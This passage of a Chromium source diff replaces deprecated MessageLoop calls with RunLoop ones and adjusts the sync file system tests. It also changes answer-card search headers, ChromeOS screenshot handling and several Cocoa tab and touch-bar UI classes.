         false /* is_incognito */, data_dir_.GetPath(), io_task_runner_.get(),
-        base::ThreadTaskRunnerHandle::Get().get(), storage_policy.get(),
-        storage::GetQuotaSettingsFunc());
+        storage_policy.get(), storage::GetQuotaSettingsFunc());
   }
 
   std::vector<std::string> additional_allowed_schemes;
diff --git a/chrome/browser/sync_file_system/local/local_file_sync_context_unittest.cc b/chrome/browser/sync_file_system/local/local_file_sync_context_unittest.cc
index 1185cd93..6b7b4f25 100644
--- a/chrome/browser/sync_file_system/local/local_file_sync_context_unittest.cc
+++ b/chrome/browser/sync_file_system/local/local_file_sync_context_unittest.cc
@@ -134,7 +134,7 @@
     *changes_out = sync_file_info.changes;
     if (snapshot_out)
       *snapshot_out = std::move(snapshot);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   SyncStatusCode ApplyRemoteChange(FileSystemContext* file_system_context,
diff --git a/chrome/browser/sync_file_system/local/syncable_file_operation_runner_unittest.cc b/chrome/browser/sync_file_system/local/syncable_file_operation_runner_unittest.cc
index 8e513f0..9079410e 100644
--- a/chrome/browser/sync_file_system/local/syncable_file_operation_runner_unittest.cc
+++ b/chrome/browser/sync_file_system/local/syncable_file_operation_runner_unittest.cc
@@ -14,7 +14,6 @@
 #include "base/files/file_util.h"
 #include "base/location.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "chrome/browser/sync_file_system/local/canned_syncable_file_system.h"
@@ -25,6 +24,7 @@
 #include "chrome/browser/sync_file_system/local/syncable_file_system_operation.h"
 #include "chrome/browser/sync_file_system/syncable_file_system_util.h"
 #include "content/public/test/test_browser_thread_bundle.h"
+#include "content/public/test/test_utils.h"
 #include "storage/browser/fileapi/file_system_context.h"
 #include "storage/browser/fileapi/file_system_operation_runner.h"
 #include "storage/browser/test/mock_blob_url_request_context.h"
@@ -137,7 +137,7 @@
     SCOPED_TRACE(testing::Message() << location.ToString());
     EXPECT_EQ(expect, status);
     ++callback_count_;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   bool CreateTempFile(base::FilePath* path) {
@@ -177,13 +177,13 @@
   file_system_.operation_runner()->Truncate(
       URL(kFile), 1,
       ExpectStatus(FROM_HERE, File::FILE_OK));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(0, callback_count_);
 
   // Read operations are not blocked (and are executed before queued ones).
   file_system_.operation_runner()->FileExists(
       URL(kFile), ExpectStatus(FROM_HERE, File::FILE_ERROR_NOT_FOUND));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(1, callback_count_);
 
   // End syncing (to enable write).
@@ -191,14 +191,14 @@
   ASSERT_TRUE(sync_status()->IsWritable(URL(kFile)));
 
   ResetCallbackStatus();
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(2, callback_count_);
 
   // Now the file must have been created and updated.
   ResetCallbackStatus();
   file_system_.operation_runner()->FileExists(
       URL(kFile), ExpectStatus(FROM_HERE, File::FILE_OK));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(1, callback_count_);
 }
 
@@ -218,13 +218,13 @@
   file_system_.operation_runner()->Remove(
       URL(kParent), true /* recursive */,
       ExpectStatus(FROM_HERE, File::FILE_OK));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(0, callback_count_);
 
   // Read operations are not blocked (and are executed before queued ones).
   file_system_.operation_runner()->DirectoryExists(
       URL(kDir), ExpectStatus(FROM_HERE, File::FILE_OK));
-  base::RunLoop().Run();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(1, callback_count_);
 
   // Writes to unrelated files must succeed as well.
@@ -232,7 +232,7 @@
   file_system_.operation_runner()->CreateDirectory(
       URL(kOther), false /* exclusive */, false /* recursive */,
       ExpectStatus(FROM_HERE, File::FILE_OK));
-  base::RunLoop().Run();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(1, callback_count_);
 
   // End syncing (to enable write).
@@ -240,7 +240,7 @@
   ASSERT_TRUE(sync_status()->IsWritable(URL(kDir)));
 
   ResetCallbackStatus();
-  base::RunLoop().Run();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(2, callback_count_);
 }
 
@@ -265,7 +265,7 @@
       URL("dest-move"),
       storage::FileSystemOperation::OPTION_NONE,
       ExpectStatus(FROM_HERE, File::FILE_OK));
-  base::RunLoop().Run();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(1, callback_count_);
 
   // Only "dest-copy1" should exist.
@@ -284,13 +284,13 @@
       storage::FileSystemOperation::ERROR_BEHAVIOR_ABORT,
       storage::FileSystemOperationRunner::CopyProgressCallback(),
       ExpectStatus(FROM_HERE, File::FILE_OK));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(0, callback_count_);
 
   // Finish syncing the "dest-copy2" directory to unlock Copy.
   sync_status()->EndSyncing(URL("dest-copy2"));
   ResetCallbackStatus();
-  base::RunLoop().Run();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(1, callback_count_);
 
   // Now we should have "dest-copy2".
@@ -300,7 +300,7 @@
   // Finish syncing the kParent to unlock Move.
   sync_status()->EndSyncing(URL(kParent));
   ResetCallbackStatus();
-  base::RunLoop().Run();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(1, callback_count_);
 
   // Now we should have "dest-move".
@@ -319,14 +319,14 @@
   file_system_.operation_runner()->Write(
       &url_request_context_,
       URL(kFile), blob.GetBlobDataHandle(), 0, GetWriteCallback(FROM_HERE));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(0, callback_count_);
 
   sync_status()->EndSyncing(URL(kFile));
   ResetCallbackStatus();
 
   while (!write_complete_)
-    base::RunLoop().RunUntilIdle();
+    content::RunAllBlockingPoolTasksUntilIdle();
 
   EXPECT_EQ(File::FILE_OK, write_status_);
   EXPECT_EQ(kData.size(), write_bytes_);
@@ -344,7 +344,7 @@
   file_system_.operation_runner()->Truncate(
       URL(kFile), 1,
       ExpectStatus(FROM_HERE, File::FILE_ERROR_ABORT));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(0, callback_count_);
 
   ResetCallbackStatus();
@@ -352,7 +352,7 @@
   // This shouldn't crash nor leak memory.
   sync_context_->ShutdownOnUIThread();
   sync_context_ = nullptr;
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(2, callback_count_);
 }
 
@@ -374,7 +374,7 @@
   file_system_.operation_runner()->CopyInForeignFile(
       temp_path, URL(kFile),
       ExpectStatus(FROM_HERE, File::FILE_OK));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(0, callback_count_);
 
   // End syncing (to enable write).
@@ -382,7 +382,7 @@
   ASSERT_TRUE(sync_status()->IsWritable(URL(kFile)));
 
   ResetCallbackStatus();
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(1, callback_count_);
 
   // Now the file must have been created and have the same content as temp_path.
@@ -390,7 +390,7 @@
   file_system_.DoVerifyFile(
       URL(kFile), kTestData,
       ExpectStatus(FROM_HERE, File::FILE_OK));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(1, callback_count_);
 }
 
@@ -399,7 +399,7 @@
   file_system_.operation_runner()->CreateFile(
       URL(kFile), false /* exclusive */,
       ExpectStatus(FROM_HERE, File::FILE_OK));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(1, callback_count_);
 
   // Run Truncate and immediately cancel. This shouldn't crash.
diff --git a/chrome/browser/ui/BUILD.gn b/chrome/browser/ui/BUILD.gn
index 6226e58..97fd97e6 100644
--- a/chrome/browser/ui/BUILD.gn
+++ b/chrome/browser/ui/BUILD.gn
@@ -486,7 +486,7 @@
     "//chrome/browser/ui/webui/omnibox:mojo_bindings",
     "//chrome/browser/ui/webui/usb_internals:mojo_bindings",
     "//chrome/common",
-    "//chrome/common:instant_mojom",
+    "//chrome/common:search_mojom",
     "//chrome/common/net",
     "//chrome/installer/util:with_no_strings",
     "//components/about_ui",
@@ -647,6 +647,13 @@
     ]
   }
 
+  if (enable_oop_heap_profiling) {
+    sources += [
+      "webui/memory_internals_ui.cc",
+      "webui/memory_internals_ui.h",
+    ]
+  }
+
   if (is_chromeos && use_cras) {
     defines += [ "USE_CRAS" ]
   }
@@ -2132,12 +2139,6 @@
         "webui/signin/signin_dice_internals_ui.h",
       ]
     }
-    if (enable_oop_heap_profiling) {
-      sources += [
-        "webui/memory_internals_ui.cc",
-        "webui/memory_internals_ui.h",
-      ]
-    }
     if (is_mac && !mac_views_browser) {
       sources -= [
         # This is not explicitly excluded in GYP, but I think the static
diff --git a/chrome/browser/ui/app_list/search/answer_card/answer_card_search_provider.cc b/chrome/browser/ui/app_list/search/answer_card/answer_card_search_provider.cc
index ad8d5d2..b2940b4 100644
--- a/chrome/browser/ui/app_list/search/answer_card/answer_card_search_provider.cc
+++ b/chrome/browser/ui/app_list/search/answer_card/answer_card_search_provider.cc
@@ -39,6 +39,8 @@
 };
 
 constexpr char kSearchAnswerHasResult[] = "SearchAnswer-HasResult";
+constexpr char kSearchAnswerIssuedQuery[] = "SearchAnswer-IssuedQuery";
+constexpr char kSearchAnswerTitle[] = "SearchAnswer-Title";
 
 void RecordRequestResult(SearchAnswerRequestResult request_result) {
   UMA_HISTOGRAM_ENUMERATION("SearchAnswer.RequestResult", request_result,
@@ -89,11 +91,7 @@
     return;
 
   // Start a request to the answer server.
-  result_url_ =
-      template_url_service_->GetDefaultSearchProvider()
-          ->url_ref()
-          .ReplaceSearchTerms(TemplateURLRef::SearchTermsArgs(query),
-                              template_url_service_->search_terms_data());
+  result_url_ = GetResultUrl(query);
 
   // Lifetime of |prefixed_query| should be longer than the one of
   // |replacements|.
@@ -252,16 +250,38 @@
     return false;
   }
   if (!headers->HasHeaderValue(kSearchAnswerHasResult, "true")) {
-    VLOG(1) << "Failed to parse response headers: " << kSearchAnswerHasResult
-            << " header != true";
+    LOG(ERROR) << "Failed to parse response headers: " << kSearchAnswerHasResult
+               << " header != true";
     return false;
   }
-  if (!headers->GetNormalizedHeader("SearchAnswer-Title", &result_title_)) {
-    LOG(ERROR) << "Failed to parse response headers: SearchAnswer-Title header "
-                  "is not present";
+  if (!headers->GetNormalizedHeader(kSearchAnswerTitle, &result_title_)) {
+    LOG(ERROR) << "Failed to parse response headers: " << kSearchAnswerTitle
+               << " header is not present";
     return false;
   }
+
+  std::string issued_query;
+  // TODO(749320): Make the header mandatory once the production server starts
+  // serving it.
+  if (headers->GetNormalizedHeader(kSearchAnswerIssuedQuery, &issued_query)) {
+    // The header contains the autocompleted query that corresponds to the card
+    // contents. Use it for the open-URL, and for deduplication with the omnibox
+    // search results.
+    result_url_ = GetResultUrl(base::UTF8ToUTF16(issued_query));
+  } else {
+    VLOG(1) << "Warning: " << kSearchAnswerIssuedQuery
+            << " header is not present";
+  }
+
   return true;
 }
 
+std::string AnswerCardSearchProvider::GetResultUrl(
+    const base::string16& query) const {
+  return template_url_service_->GetDefaultSearchProvider()
+      ->url_ref()
+      .ReplaceSearchTerms(TemplateURLRef::SearchTermsArgs(query),
+                          template_url_service_->search_terms_data());
+}
+
 }  // namespace app_list
diff --git a/chrome/browser/ui/app_list/search/answer_card/answer_card_search_provider.h b/chrome/browser/ui/app_list/search/answer_card/answer_card_search_provider.h
index 8b30573f..dc776a6 100644
--- a/chrome/browser/ui/app_list/search/answer_card/answer_card_search_provider.h
+++ b/chrome/browser/ui/app_list/search/answer_card/answer_card_search_provider.h
@@ -56,6 +56,8 @@
   void RecordReceivedAnswerFinalResult();
   void OnResultAvailable(bool is_available);
   bool ParseResponseHeaders(const net::HttpResponseHeaders* headers);
+  // Returns Url to open when the user clicks at the result for |query|.
+  std::string GetResultUrl(const base::string16& query) const;
 
   // Unowned pointer to the associated profile.
   Profile* const profile_;
diff --git a/chrome/browser/ui/browser_commands_chromeos.cc b/chrome/browser/ui/browser_commands_chromeos.cc
index 09bc691..a60f8831 100644
--- a/chrome/browser/ui/browser_commands_chromeos.cc
+++ b/chrome/browser/ui/browser_commands_chromeos.cc
@@ -6,19 +6,32 @@
 
 #include "ash/accelerators/accelerator_controller_delegate_classic.h"
 #include "ash/metrics/user_metrics_recorder.h"
+#include "ash/mus/bridge/shell_port_mash.h"
+#include "ash/public/cpp/config.h"
 #include "ash/screenshot_delegate.h"
 #include "ash/shell_port_classic.h"
 #include "base/metrics/user_metrics.h"
 #include "base/metrics/user_metrics_action.h"
+#include "chrome/browser/chromeos/ash_config.h"
 
 using base::UserMetricsAction;
 
 void TakeScreenshot() {
   base::RecordAction(UserMetricsAction("Menu_Take_Screenshot"));
+  ash::AcceleratorControllerDelegateClassic* accelerator_controller_delegate =
+      nullptr;
+  if (chromeos::GetAshConfig() == ash::Config::CLASSIC) {
+    accelerator_controller_delegate =
+        ash::ShellPortClassic::Get()->accelerator_controller_delegate();
+  } else if (chromeos::GetAshConfig() == ash::Config::MUS) {
+    accelerator_controller_delegate =
+        ash::mus::ShellPortMash::Get()->accelerator_controller_delegate_mus();
+  } else {
+    NOTIMPLEMENTED();
+    return;
+  }
   ash::ScreenshotDelegate* screenshot_delegate =
-      ash::ShellPortClassic::Get()
-          ->accelerator_controller_delegate()
-          ->screenshot_delegate();
+      accelerator_controller_delegate->screenshot_delegate();
   if (screenshot_delegate &&
       screenshot_delegate->CanTakeScreenshot()) {
     screenshot_delegate->HandleTakeScreenshotForAllRootWindows();
diff --git a/chrome/browser/ui/browser_navigator.cc b/chrome/browser/ui/browser_navigator.cc
index e8190f6..5dad7ca 100644
--- a/chrome/browser/ui/browser_navigator.cc
+++ b/chrome/browser/ui/browser_navigator.cc
@@ -641,7 +641,6 @@
   if (url.scheme() == content::kChromeUIScheme &&
       (url.host_piece() == chrome::kChromeUISettingsHost ||
        url.host_piece() == chrome::kChromeUIMdSettingsHost ||
-       url.host_piece() == chrome::kChromeUISettingsFrameHost ||
        url.host_piece() == chrome::kChromeUIHelpHost ||
        url.host_piece() == chrome::kChromeUIHistoryHost ||
        url.host_piece() == chrome::kChromeUIExtensionsHost ||
diff --git a/chrome/browser/ui/chrome_pages.cc b/chrome/browser/ui/chrome_pages.cc
index 44ab1e39..03e2005 100644
--- a/chrome/browser/ui/chrome_pages.cc
+++ b/chrome/browser/ui/chrome_pages.cc
@@ -250,8 +250,7 @@
 
 bool IsSettingsSubPage(const GURL& url, const std::string& sub_page) {
   return (url.SchemeIs(content::kChromeUIScheme) &&
-          (url.host_piece() == chrome::kChromeUISettingsHost ||
-           url.host_piece() == chrome::kChromeUISettingsFrameHost) &&
+          (url.host_piece() == chrome::kChromeUISettingsHost) &&
           url.path_piece() == "/" + sub_page);
 }
 
diff --git a/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa.h b/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa.h
index 18755d4..3605076b 100644
--- a/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa.h
+++ b/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa.h
@@ -8,6 +8,7 @@
 #import <Cocoa/Cocoa.h>
 #include <stddef.h>
 
+#include "base/mac/availability.h"
 #import "chrome/browser/ui/cocoa/autofill/autofill_popup_base_view_cocoa.h"
 #import "ui/base/cocoa/touch_bar_forward_declarations.h"
 
@@ -38,7 +39,7 @@
 - (void)invalidateRow:(NSInteger)row;
 
 // Creates and returns a touch bar if the popup is for credit cards.
-- (NSTouchBar*)makeTouchBar;
+- (NSTouchBar*)makeTouchBar API_AVAILABLE(macos(10.12.2));
 
 @end
 
diff --git a/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa.mm b/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa.mm
index 46733a1..2d71d44 100644
--- a/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa.mm
+++ b/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa.mm
@@ -178,7 +178,8 @@
 #pragma mark NSTouchBarDelegate implementation:
 
 - (NSTouchBarItem*)touchBar:(NSTouchBar*)touchBar
-      makeItemForIdentifier:(NSTouchBarItemIdentifier)identifier {
+      makeItemForIdentifier:(NSTouchBarItemIdentifier)identifier
+    API_AVAILABLE(macos(10.12.2)) {
   if (![identifier hasSuffix:kCreditCardItemsTouchId])
     return nil;
 
diff --git a/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa_unittest.mm b/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa_unittest.mm
index aebb223..2e6d6be 100644
--- a/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa_unittest.mm
+++ b/chrome/browser/ui/cocoa/autofill/autofill_popup_view_cocoa_unittest.mm
@@ -110,31 +110,27 @@
 
 // Tests to check if the touch bar shows up properly.
 TEST_F(AutofillPopupViewCocoaUnitTest, CreditCardAutofillTouchBar) {
-  if (!base::mac::IsAtLeastOS10_12())
-    return;
+  if (@available(macOS 10.12.2, *)) {
+    // Touch bar shouldn't appear if the popup is not for credit cards.
+    autofill_popup_controller_.SetIsCreditCardField(false);
+    EXPECT_FALSE([view_ makeTouchBar]);
 
-  // Touch bar shouldn't appear if the popup is not for credit cards.
-  autofill_popup_controller_.SetIsCreditCardField(false);
-  EXPECT_FALSE([view_ makeTouchBar]);
+    // Touch bar shouldn't appear if the popup is empty.
+    autofill_popup_controller_.SetIsCreditCardField(true);
+    SetLineCount(0);
+    EXPECT_FALSE([view_ makeTouchBar]);
 
-  // Touch bar shouldn't appear if the popup is empty.
-  autofill_popup_controller_.SetIsCreditCardField(true);
-  SetLineCount(0);
-  EXPECT_FALSE([view_ makeTouchBar]);
-
-  autofill_popup_controller_.SetIsCreditCardField(true);
-  SetLineCount(3);
-  NSTouchBar* touch_bar = [view_ makeTouchBar];
-  EXPECT_TRUE(touch_bar);
-  EXPECT_TRUE([[touch_bar customizationIdentifier]
-      isEqual:ui::GetTouchBarId(kCreditCardAutofillTouchBarId)]);
+    autofill_popup_controller_.SetIsCreditCardField(true);
+    SetLineCount(3);
+    NSTouchBar* touch_bar = [view_ makeTouchBar];
+    EXPECT_TRUE(touch_bar);
+    EXPECT_TRUE([[touch_bar customizationIdentifier]
+        isEqual:ui::GetTouchBarId(kCreditCardAutofillTouchBarId)]);
+  }
 }
 
-// Tests that the touch bar logs into the histogram correctly.
+// Tests that the touch bar histogram is logged correctly.
 TEST_F(AutofillPopupViewCocoaUnitTest, CreditCardAutofillTouchBarMetric) {
-  if (!base::mac::IsAtLeastOS10_12())
-    return;
-
   {
     base::HistogramTester histogram_tester;
     [view_ acceptCreditCard:nil];
diff --git a/chrome/browser/ui/cocoa/bookmarks/bookmark_button_cell.mm b/chrome/browser/ui/cocoa/bookmarks/bookmark_button_cell.mm
index 304687d21..b2645ac 100644
--- a/chrome/browser/ui/cocoa/bookmarks/bookmark_button_cell.mm
+++ b/chrome/browser/ui/cocoa/bookmarks/bookmark_button_cell.mm
@@ -5,6 +5,7 @@
 #import "chrome/browser/ui/cocoa/bookmarks/bookmark_button_cell.h"
 
 #include "base/logging.h"
+#import "base/mac/mac_util.h"
 #include "base/metrics/user_metrics.h"
 #include "base/strings/sys_string_conversions.h"
 #include "chrome/browser/ui/cocoa/bookmarks/bookmark_bar_constants.h"
@@ -426,6 +427,10 @@
   } else if ([self visibleTitle].length > 0) {
     cellFrame.origin.x += 4;
   }
+  // On Sierra and higher the focus ring needs to move down 1pt.
+  if (base::mac::IsAtLeastOS10_12()) {
+    cellFrame.origin.y += 1.0;
+  }
   if ([controlView cr_lineWidth] < 1) {
     cellFrame.origin.y -= 0.5;
   }
diff --git a/chrome/browser/ui/cocoa/first_run_dialog.mm b/chrome/browser/ui/cocoa/first_run_dialog.mm
index a3de622..3696d85 100644
--- a/chrome/browser/ui/cocoa/first_run_dialog.mm
+++ b/chrome/browser/ui/cocoa/first_run_dialog.mm
@@ -52,7 +52,7 @@
 
 void FirstRunShowBridge::ShowDialog() {
   [controller_ show];
-  base::MessageLoop::current()->QuitNow();
+  base::RunLoop::QuitCurrentDeprecated();
 }
 
 FirstRunShowBridge::~FirstRunShowBridge() {}
diff --git a/chrome/browser/ui/cocoa/location_bar/zoom_decoration_browsertest.mm b/chrome/browser/ui/cocoa/location_bar/zoom_decoration_browsertest.mm
index c6b035c..5891e0d 100644
--- a/chrome/browser/ui/cocoa/location_bar/zoom_decoration_browsertest.mm
+++ b/chrome/browser/ui/cocoa/location_bar/zoom_decoration_browsertest.mm
@@ -8,6 +8,7 @@
 #include "base/command_line.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/ui/browser_window.h"
@@ -82,9 +83,7 @@
   void OnZoomChanged(const content::HostZoomMap::ZoomLevelChange& host) {
     if (should_quit_on_zoom_) {
       base::ThreadTaskRunnerHandle::Get()->PostTask(
-          FROM_HERE,
-          base::Bind(&base::MessageLoop::QuitWhenIdle,
-                     base::Unretained(base::MessageLoop::current())));
+          FROM_HERE, base::Bind(&base::RunLoop::QuitCurrentWhenIdleDeprecated));
     }
   }
 
diff --git a/chrome/browser/ui/cocoa/permission_bubble/permission_bubble_controller.mm b/chrome/browser/ui/cocoa/permission_bubble/permission_bubble_controller.mm
index b999914..e4efc35d 100644
--- a/chrome/browser/ui/cocoa/permission_bubble/permission_bubble_controller.mm
+++ b/chrome/browser/ui/cocoa/permission_bubble/permission_bubble_controller.mm
@@ -22,6 +22,7 @@
 #import "chrome/browser/ui/cocoa/hover_close_button.h"
 #import "chrome/browser/ui/cocoa/info_bubble_view.h"
 #import "chrome/browser/ui/cocoa/info_bubble_window.h"
+#import "chrome/browser/ui/cocoa/l10n_util.h"
 #import "chrome/browser/ui/cocoa/location_bar/location_bar_decoration.h"
 #import "chrome/browser/ui/cocoa/location_bar/location_bar_view_mac.h"
 #include "chrome/browser/ui/cocoa/page_info/page_info_utils_cocoa.h"
@@ -42,6 +43,7 @@
 #include "ui/base/cocoa/a11y_util.h"
 #include "ui/base/cocoa/cocoa_base_utils.h"
 #import "ui/base/cocoa/controls/hyperlink_text_view.h"
+#import "ui/base/cocoa/controls/textfield_utils.h"
 #include "ui/base/cocoa/window_size_constants.h"
 #include "ui/base/l10n/l10n_util_mac.h"
 #include "ui/gfx/color_palette.h"
@@ -315,6 +317,7 @@
     [[self window] makeFirstResponder:nil];
     [[self window] setInitialFirstResponder:allowButton.get()];
   }
+  cocoa_l10n_util::FlipAllSubviewsIfNecessary(contentView);
 }
 
 - (void)updateAnchorPosition {
@@ -384,28 +387,23 @@
   [permissionLabel setFrame:labelFrame];
   [permissionIcon setFrame:iconFrame];
   [permissionView setFrame:unionFrame];
+  cocoa_l10n_util::FlipAllSubviewsIfNecessary(permissionView);
 
   return permissionView.autorelease();
 }
 
 - (NSView*)titleWithOrigin:(const GURL&)origin {
-  base::scoped_nsobject<NSTextField> titleView(
-      [[NSTextField alloc] initWithFrame:NSZeroRect]);
-  [titleView setDrawsBackground:NO];
-  [titleView setBezeled:NO];
-  [titleView setEditable:NO];
-  [titleView setSelectable:NO];
-  [titleView setStringValue:l10n_util::GetNSStringF(
-                                IDS_PERMISSIONS_BUBBLE_PROMPT,
-                                url_formatter::FormatUrlForSecurityDisplay(
-                                    origin, url_formatter::SchemeDisplay::
-                                                OMIT_CRYPTOGRAPHIC))];
-  [titleView setFont:[NSFont systemFontOfSize:[NSFont smallSystemFontSize]]];
+  NSTextField* titleView = [TextFieldUtils
+      labelWithString:
+          l10n_util::GetNSStringF(
+              IDS_PERMISSIONS_BUBBLE_PROMPT,
+              url_formatter::FormatUrlForSecurityDisplay(
+                  origin, url_formatter::SchemeDisplay::OMIT_CRYPTOGRAPHIC))];
   [titleView sizeToFit];
   NSRect titleFrame = [titleView frame];
   [titleView setFrameSize:NSMakeSize(NSWidth(titleFrame) + kTitlePaddingX,
                                      NSHeight(titleFrame))];
-  return titleView.autorelease();
+  return titleView;
 }
 
 - (NSView*)buttonWithTitle:(NSString*)title
diff --git a/chrome/browser/ui/cocoa/tab_contents/tab_contents_controller.mm b/chrome/browser/ui/cocoa/tab_contents/tab_contents_controller.mm
index 5378abc9..f0e7d9e8 100644
--- a/chrome/browser/ui/cocoa/tab_contents/tab_contents_controller.mm
+++ b/chrome/browser/ui/cocoa/tab_contents/tab_contents_controller.mm
@@ -235,7 +235,10 @@
 }
 
 - (NSTouchBar*)makeTouchBar {
-  return [touchBarController_ makeTouchBar];
+  if (@available(macOS 10.12.2, *))
+    return [touchBarController_ makeTouchBar];
+
+  return nil;
 }
 
 - (void)ensureContentsVisibleInSuperview:(NSView*)superview {
diff --git a/chrome/browser/ui/cocoa/tabs/tab_controller.h b/chrome/browser/ui/cocoa/tabs/tab_controller.h
index 95bfeaf..8f4e073 100644
--- a/chrome/browser/ui/cocoa/tabs/tab_controller.h
+++ b/chrome/browser/ui/cocoa/tabs/tab_controller.h
@@ -104,6 +104,9 @@
 // Sets the current tab alert state and updates the views.
 - (void)setAlertState:(TabAlertState)alertState;
 
+// Sets the tab to display that it needs attention from the user.
+- (void)setNeedsAttention;
+
 // Closes the associated TabView by relaying the message to |target_| to
 // perform the close.
 - (void)closeTab:(id)sender;
diff --git a/chrome/browser/ui/cocoa/tabs/tab_controller.mm b/chrome/browser/ui/cocoa/tabs/tab_controller.mm
index 0a9795a..c930805 100644
--- a/chrome/browser/ui/cocoa/tabs/tab_controller.mm
+++ b/chrome/browser/ui/cocoa/tabs/tab_controller.mm
@@ -234,7 +234,7 @@
   [tabView setTitle:title];
 
   if ([self pinned] && ![self active]) {
-    [tabView startAlert];
+    [tabView startOnceAlert];
   }
   [super setTitle:title];
 }
@@ -290,6 +290,10 @@
   [alertIndicatorButton_ transitionToAlertState:alertState];
 }
 
+- (void)setNeedsAttention {
+  [[self tabView] startInfiniteAlert];
+}
+
 - (HoverCloseButton*)closeButton {
   return closeButton_;
 }
diff --git a/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm b/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm
index aaebe9b..6e61aad 100644
--- a/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm
+++ b/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm
@@ -11,6 +11,7 @@
 #include <string>
 
 #include "base/command_line.h"
+#include "base/mac/foundation_util.h"
 #include "base/mac/mac_util.h"
 #include "base/mac/scoped_nsautorelease_pool.h"
 #include "base/mac/sdk_forward_declarations.h"
@@ -1689,8 +1690,8 @@
   [tabContentsArray_ insertObject:movedTabContentsController.get()
                           atIndex:to];
   base::scoped_nsobject<TabController> movedTabController(
-      [[tabArray_ objectAtIndex:from] retain]);
-  DCHECK([movedTabController isKindOfClass:[TabController class]]);
+      base::mac::ObjCCastStrict<TabController>(
+          [[tabArray_ objectAtIndex:from] retain]));
   [tabArray_ removeObjectAtIndex:from];
   [tabArray_ insertObject:movedTabController.get() atIndex:to];
 
@@ -1707,8 +1708,8 @@
   // Take closing tabs into account.
   NSInteger index = [self indexFromModelIndex:modelIndex];
 
-  TabController* tabController = [tabArray_ objectAtIndex:index];
-  DCHECK([tabController isKindOfClass:[TabController class]]);
+  TabController* tabController =
+      base::mac::ObjCCastStrict<TabController>([tabArray_ objectAtIndex:index]);
 
   // Don't do anything if the change was already picked up by the move event.
   if (tabStripModel_->IsTabPinned(modelIndex) == [tabController pinned])
@@ -1723,6 +1724,16 @@
   [self layoutTabs];
 }
 
+- (void)tabNeedsAttentionAt:(NSInteger)modelIndex {
+  // Take closing tabs into account.
+  NSInteger index = [self indexFromModelIndex:modelIndex];
+
+  TabController* tabController =
+      base::mac::ObjCCastStrict<TabController>([tabArray_ objectAtIndex:index]);
+
+  [tabController setNeedsAttention];
+}
+
 - (void)setFrame:(NSRect)frame ofTabView:(NSView*)view {
   NSValue* identifier = [NSValue valueWithPointer:view];
   [targetFrames_ setObject:[NSValue valueWithRect:frame]
@@ -1866,7 +1877,7 @@
 }
 
 - (void)mouseMoved:(NSEvent*)event {
-  // We don't want the draggged tab to repeatedly redraw its glow unnecessarily.
+  // We don't want the dragged tab to repeatedly redraw its glow unnecessarily.
   // We also want the dragged tab to keep the glow even when it slides behind
   // another tab.
   if ([dragController_ draggedTab])
@@ -1879,14 +1890,9 @@
   BOOL shouldShowHoverImage = [targetView isKindOfClass:[NewTabButton class]];
   [self setNewTabButtonHoverState:shouldShowHoverImage];
 
-  TabView* tabView = (TabView*)targetView;
-  if (![tabView isKindOfClass:[TabView class]]) {
-    if ([[tabView superview] isKindOfClass:[TabView class]]) {
-      tabView = (TabView*)[targetView superview];
-    } else {
-      tabView = nil;
-    }
-  }
+  TabView* tabView = base::mac::ObjCCast<TabView>(targetView);
+  if (!tabView)
+    tabView = base::mac::ObjCCast<TabView>([targetView superview]);
 
   if (hoveredTab_ != tabView) {
